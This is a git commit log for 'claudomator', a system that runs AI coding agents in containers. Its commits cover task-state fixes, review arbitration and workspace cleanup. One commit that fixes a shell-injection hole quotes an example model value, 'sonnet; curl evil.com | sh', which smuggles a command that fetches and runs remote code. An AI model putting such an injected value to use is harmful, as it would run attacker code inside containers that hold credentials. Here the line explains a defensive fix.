| Age | Commit message (Collapse) | Author |
|
to pool
- GitHub webhook (createCIFailureTask) only calls store.CreateTask with
PENDING state; it never calls Pool.Submit. Previous diagram said
"creates task + auto-runs" which was wrong.
- spawn_subtask (both role= and no-role= variants) only calls
store.CreateTask with PENDING state via storeChannel.SpawnSubtask.
The pool is not called. Previous diagram labelled this "Pool.Submit()
for new child/sibling" which was wrong.
- Both spawn_subtask variants always set parent_task_id. The "sibling
with depends_on" description for the role= case was misleading.
- propose_epic and propose_role_config are storage-only writes with no
connection to the pool at all. Previous diagram drew arrows from these
to executor.Pool; removed and replaced with a STORAGE node.
- Added explicit note that PENDING children need a separate /run call
(scripts/start-next-task, StoryOrchestrator.spawnRoleTask, or manual).
- StoryOrchestrator's spawnRoleTask correctly creates + QUEUED +
Pool.Submit in one step; that path remains accurate.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
planner's system prompt
A live production run (2026-07-11) showed finalizeArbitration's 'no
verdict reported = approve' default silently shipping work an evaluator
had already flagged as factually wrong -- the arbitration agent never
called report_verdict because the planner role had no system prompt
telling it to. finalizeArbitration now treats a missing verdict the same
as an explicit rejection (fail-closed), and SeedRoleConfigs now also
seeds planner with a prompt that explicitly mandates calling
report_verdict before finishing.
|
|
Covers all entry points verified against current code:
- REST API (POST /api/tasks + /run), chatbot MCP (submit_task,
create_story, accept_story), GitHub webhook, Story REST API,
agent spawn_subtask (parent_task_id vs depends_on/role paths),
propose_epic, propose_role_config, StoryOrchestrator's internal
spawning (ensureEvaluators/ensureArbitration/ensureFixAttempt/
spawnNestedFixAttempt/processRetro), Scheduler retry/escalation
and ask_user-timeout escalation, claudomator run <file> CLI.
Includes task state machine diagram and recursive arbitrated-review
cycle showing that builder-role READY means awaiting arbitration,
not done. All diagrams use Mermaid (renders on GitHub).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
finished recursive arbitrated-review design
The old text described pre-piece-4a behavior (root auto-accepted eagerly)
and a since-closed Design Debt item (arbitration claimed to never parse a
verdict, when ReportVerdict/KindVerdictReported already existed). Rewritten
to describe the actual current mechanism: builder-role nodes at any depth
only reach COMPLETED via finalizeArbitration's approval, the tree-walk
trigger, task.CurrentAttempt resolution, root-vs-nested fix-attempt
plumbing, and SeedRoleConfigs seeding the builder role's prompt.
|
|
ContainerRunner preserves a failed execution's workspace indefinitely for
debugging, with no expiry -- this accumulated 161 stale directories
(~17.6GB) and took the host to 100% disk full on 2026-07-10. Pool.RunWorkspaceCleanup
sweeps claudomator-workspace-* dirs older than 24h every hour, started from
serve.go, mirroring StoryOrchestrator.Run's ticker shape. Never removes a
directory still referenced as a currently-BLOCKED task's sandbox_dir,
regardless of age.
|
|
|
|
SeedProjects) instead of a manual API call
|
|
CurrentAttempt resolution
|
|
builder-role node
|
|
|
|
|
|
node, add nested fix-attempt spawning and acceptance-criteria fallback
|
|
|
|
requiring external arbitrated review
|
|
nested-builder-completion-follows-arbitration (piece 4b-1)
|
|
approves it, not eagerly on READY
|
|
(lesson from piece 3's dispatch saga)
|
|
|
|
for fix attempts; also exclude .agent-home from git
|
|
CurrentAttempt resolution
|
|
Piece 3 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md.
Removes ensureFixAttempt's story.RootTaskID re-pointing write path,
migrating processStory/processRetro/ensureFixAttempt onto
task.CurrentAttempt resolution (piece 2b). RootTaskID becomes a true
immutable anchor after this lands.
|
|
to resolve through it
|
|
Piece 2b of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md.
Builds the shared CurrentAttempt primitive (internal/task, behind a
minimal TaskLookup interface so both executor.Store and
scheduler.StoryStore can use it without duplication) and wires
maybeUnblockParent to resolve through it. Deliberately does not touch
ensureFixAttempt/story.RootTaskID (piece 3) or arbitrated-review
triggering (piece 4) -- scoped to the isolated primitive plus its
first real caller.
|
|
The nested-subtask-completion fix (ad00e18) necessarily added
BLOCKED -> COMPLETED to task.ValidTransition so
executor.Pool.maybeUnblockParent can complete a subtask whose own
children all finished. That widened acceptTask's gate (shared by
POST /api/tasks/{id}/accept and the chatbot MCP accept_task tool,
which validates only via task.ValidTransition) to also permit
accepting ANY BLOCKED task directly -- one still awaiting ask_user,
or with genuinely incomplete subtasks -- bypassing the completion
invariant this session's fix was built to protect. Caught by local
subagent review of that fix. Not live in production: the deployed
claudomator service is still on an earlier commit.
|
|
Pre-existing gofmt debt on all three files (confirmed dirty before
this session's nested-subtask-completion commit too, not a
regression) -- cleaned up while already touching these files.
|
|
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
|
|
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md,
discovered while grounding piece 2 in the real executor code: a subtask
that itself spawns subtasks is incorrectly marked COMPLETED the instant
its own agent turn ends, ignoring pending grandchildren. handleRunResult,
maybeUnblockParent, and RecoverStaleBlocked all special-case "is this
top-level" instead of "does this task have its own pending subtasks" --
a prerequisite bug fix the currentAttempt()/fix-loop generalization
(piece 2b) depends on.
|
|
Task 2 of the task-acceptance-criteria plan copied the plan
document's own misaligned struct-literal text verbatim without
running gofmt afterward, newly breaking gofmt compliance on
tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment
in channel.go/channel_test.go while touching the same files.
|
|
spawn_subtask
|
|
|
|
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's
implementation order: adds the field the earlier 2026-07-08 spec
incorrectly claimed already existed, and exposes it on spawn_subtask.
|
|
fix loop)
Replaces the story.RootTaskID re-pointing mechanism shipped in
2026-07-09-story-fix-and-reevaluate-loop.md with a uniform
currentAttempt() resolution that works identically at every depth of
a story's task tree, not just the root. Also corrects the 2026-07-08
spec's incorrect claim that Task.AcceptanceCriteria already exists.
|
|
is rejected
|
|
Closes the recursive-story-decomposition design spec's "fix-and-
re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead
end requiring manual human intervention. Design decision (re-point
story.RootTaskID at a fresh fix-attempt task, vs. spawning as a
dependent of a fixed root) made with user input before writing this
plan.
|
|
|
|
|
|
Scopes the "MCP surface: story-level tools, additive to what exists"
piece of the recursive-story-decomposition design spec on its own,
independent of the larger deferred per-node arbitrated-review
generalization and builder role system-prompt work.
|
|
of always routing to REVIEW_READY
|
|
|
|
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go
but missed this second AgentChannel test double, which broke `go test
./...` (compile failure) even though `go build ./...` was clean.
|
|
signals
|
|
|
|
|
|
order its own subtasks
|
|
reporting
Plan 1 of the recursive-story-decomposition design (see
docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md).
Deliberately scoped to two small, independent, fully-groundable additions
-- SubtaskSpec.DependsOn and a structured report_verdict tool closing the
"arbitration never parses its own verdict" gap -- rather than attempting
the full recursive orchestrator rewrite in one pass. That rewrite becomes
its own plan(s) once story_orchestrator_test.go (1023 lines of existing
convention) has been read in full.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Retro from the tasks-board build (see memory
claudomator-sequential-orchestration-gap): claudomator has no native way to
drive a stated intent through review-gated implementation to arbitrary
depth -- that role was played by a human/chatbot controller hand-dispatching
and re-dispatching all session. Design converged through several rejected
drafts (a separate "chain mode" pipeline, a distinct Planner role) before
landing on the actual shape: one role, one recursive decompose-or-evaluate
mechanism, applied at every depth, with arbitrated multi-evaluator review
running at every node instead of once at a story's outer level.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
This should have been committed alongside the design spec (f626155) before
task execution began. It wasn't -- every claudomator container that cloned
this repo during the Tasks board build never actually had this file, since
containers clone from the pushed remote, not the local working tree. Tasks
dispatched with only a "read this file" instruction had nothing to read and
silently improvised instead, which explains most of the review-cycle churn
during that build far better than "the implementer didn't follow
instructions" did. Committing now for the historical record and so the
gap can't repeat for this specific file.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
buildInnerCmd never read t.Agent.Model when constructing the container's
claude -p invocation -- every Claude-type task silently ran on the CLI's
own default model regardless of what was requested via submit_task or the
role-based escalation ladder. Confirmed via execution logs: every task run
this session showed claude-sonnet-4-6 regardless of the model parameter
passed, which only went unnoticed because sonnet was requested every time.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
CSS cascade fix: .task-log-tail.running-log combinator overrides
.task-log-tail's 90px max-height for RUNNING/BLOCKED cards, restoring
the intended 300px prominent log panel. Closes EventSource streams in
taskLogStreams when cards are removed from the board.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|